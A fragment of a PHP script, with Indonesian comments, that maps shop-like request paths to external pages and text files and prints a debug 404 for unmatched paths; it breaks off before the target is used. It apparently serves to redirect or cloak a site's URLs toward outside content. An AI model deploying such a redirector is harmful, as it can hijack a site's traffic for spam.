$mapping = [

    'product/review/13783301501100'
        => 'https://coba.kamamya.com.py/seven/DEWI38.HTML',

    'productSearch/pictureSearch?id=18625002651100'
        => 'https://coba.kamamya.com.py/seven/DEWI38.HTML',

    'productSearch/pictureSearch?id=7709476601100'
        => 'https://coba.kamamya.com.py/seven/DEWI38.HTML',

    'e=8327897041100'
        => 'https://domainluar.com/tes1.txt',

    'e=8651211681100'
        => 'https://domainluar.com/tes.txt',

];

$request = $_SERVER['REQUEST_URI'] ?? '/';

// INI YANG PENTING
$key = ltrim($request, '/?');
$key = urldecode($key);
$key = trim($key);

if (!isset($mapping[$key])) {

    http_response_code(404);
    header('Content-Type: text/plain; charset=UTF-8');

    echo "404 Mapping Not Found\n\n";
    echo "REQUEST_URI:\n";
    echo $request;

    echo "\n\nKEY YANG TERBACA:\n";
    echo $key;

    exit;
}

$target = $mapping[$key];